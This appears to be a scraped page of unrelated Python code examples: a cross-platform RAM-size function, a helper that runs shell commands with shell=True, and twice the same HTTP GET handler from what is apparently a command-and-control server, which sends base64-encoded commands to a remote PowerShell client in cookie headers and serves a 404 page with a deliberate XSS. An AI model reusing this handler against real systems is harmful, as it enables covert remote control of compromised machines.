Esempio n. 1
0
def getRamInfo():
    """ @rtype: (int,int)
    @return: total and available RAM sizes in mega bytes
    """
    result = None
    # LINUX
    if "linux" in sys.platform:
        import re
        pat = re.compile(r'\s+')
        f = open(u"/proc/meminfo".encode(getFsEncoding(logLevel=False)),'r')
        s = f.read().strip()
        f.close()
        s = s.split('\n')
        for line in s:
            cline = pat.sub(' ',line)
            if "MemTotal" in line:
                totalRam = int(cline.split(' ')[1])/1000
            elif "MemFree" in line:
                availRam = int(cline.split(' ')[1])/1000
        result = (totalRam , availRam)

    # WINDOWS
    elif "win" in sys.platform and "darwin" not in sys.platform:
        import ctypes

        kernel32 = ctypes.windll.kernel32
        c_ulong = ctypes.c_ulong
        class MEMORYSTATUS(ctypes.Structure):
            _fields_ = [
                ('dwLength', c_ulong),
                ('dwMemoryLoad', c_ulong),
                ('dwTotalPhys', c_ulong),
                ('dwAvailPhys', c_ulong),
                ('dwTotalPageFile', c_ulong),
                ('dwAvailPageFile', c_ulong),
                ('dwTotalVirtual', c_ulong),
                ('dwAvailVirtual', c_ulong)
            ]

        memoryStatus = MEMORYSTATUS()
        memoryStatus.dwLength = ctypes.sizeof(MEMORYSTATUS)
        kernel32.GlobalMemoryStatus(ctypes.byref(memoryStatus))
        mem = memoryStatus.dwTotalPhys / (1024*1024)
        availRam = memoryStatus.dwAvailPhys / (1024*1024)
        totalRam = int(mem)
        result = (totalRam , availRam)
    # MACOS
    elif "darwin" in sys.platform:
        import os
        cmd =  u"echo $(( $(vm_stat | grep free | awk '{ print $3 }' | sed 's/\\.//')*4096/1048576 ))"
        p = os.popen(cmd.encode(getFsEncoding(logLevel=False)))
        s = p.read()
        p.close()
        availRam = int(s)
        # TODO : ce n'est pas vrai mais je n'ai pas encore trouvé
        totalRam = availRam
        result = (totalRam , availRam)

    return result
Esempio n. 2
0
def execFormatCmd(cmd):
    cmd = cmd.replace('\\', '/')
    cmd = re.sub('/+', '/', cmd)
    if platform.system() == 'Windows':
        st = subprocess.STARTUPINFO
        st.dwFlags = subprocess.STARTF_USESHOWWINDOW
        st.wShowWindow = subprocess.SW_HIDE
    else:
        cmd = cmd.encode('utf-8').decode('iso-8859-1')

    # findret = cmd.find('jarsigner')
    # if findret > -1:
    #     import shlex
    #     cmds = shlex.split(cmd)
    #     log_utils.getLogger().debug('the execformatCmd cmds:'+str(cmds))
    #     s = subprocess.Popen(cmds)
    # else:
    #     s = subprocess.Popen(cmd, shell=True)

    #===========================================================================
    # import shlex
    # cmds = shlex.split(cmd)
    # #log_utils.getLogger().debug("eeeeeeeeeeeeeeeeeee" + cmd)
    # s = subprocess.Popen(cmds, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    #===========================================================================

    import locale
    cmd = cmd.encode(locale.getdefaultlocale()[1])
    p = subprocess.Popen(cmd,
                         stdout=subprocess.PIPE,
                         stderr=subprocess.PIPE,
                         shell=True)

    ConfigParse.shareInstance().setCurrentSubProcess(p)

    while p.poll() == None:
        line = p.stdout.readline()
        if not line:
            break
        # print line
        log_utils.getLogger().info(line)
    p.wait()
    return p.returncode
Esempio n. 3
0
    def do_GET(self):
        # This is not a legit request.
        if magic_header not in self.headers or self.headers[
                magic_header] != magic_value:

            log_error(
                "!!! {0}:{1} is trying to connect without magic value !!!".
                format(self.client_address[0], self.client_address[1]))

            self.send_response(404)
            for k in global_headers.keys():
                self.send_header(k, global_headers[k])
            self.end_headers()
            self.wfile.write(page_404.format(
                self.path).encode())  # With a nice reflective XSS ;-)
            return

        self.send_response(200)

        # Printing the response.
        if response_cookie in self.headers:
            o = self.headers[response_cookie]
            o = base64.b64decode(o)
            log(o.decode())

        # Sending the command to execute.
        else:
            cmd = self.queue.get(block=True)
            if cmd:
                self.send_header(command_cookie,
                                 base64.b64encode(cmd.encode()).decode())

        try:
            self.end_headers()
            self.wfile.write(b"")
        except BrokenPipeError:
            log("[-] Client timeout. Requeuing command.")
            if response_cookie not in self.headers:
                self.queue.put(
                    cmd
                )  # We need to put back the command because powershell has time outed.
        except:
            pass
        return
Esempio n. 4
0
    def do_GET(self):
        # This is not a legit request.
        if magic_header not in self.headers or self.headers[magic_header] != magic_value:

            log_error("!!! {0}:{1} is trying to connect without magic value !!!".format(self.client_address[0], self.client_address[1]))

            self.send_response(404)
            for k in global_headers.keys():
                self.send_header(k, global_headers[k])
            self.end_headers()
            self.wfile.write(page_404.format(self.path).encode())  # With a nice reflective XSS ;-)
            return

        self.send_response(200)

        # Printing the response.
        if response_cookie in self.headers:
            o = self.headers[response_cookie]
            o = base64.b64decode(o)
            log(o.decode())

        # Sending the command to execute.
        else:
            cmd = self.queue.get(block=True)
            if cmd:
                self.send_header(command_cookie, base64.b64encode(cmd.encode()).decode())

        try:
            self.end_headers()
            self.wfile.write(b"")
        except BrokenPipeError: 
            log("[-] Client timeout. Requeuing command.")
            if response_cookie not in self.headers:
                self.queue.put(cmd)  # We need to put back the command because powershell has time outed.
        except:
            pass
        return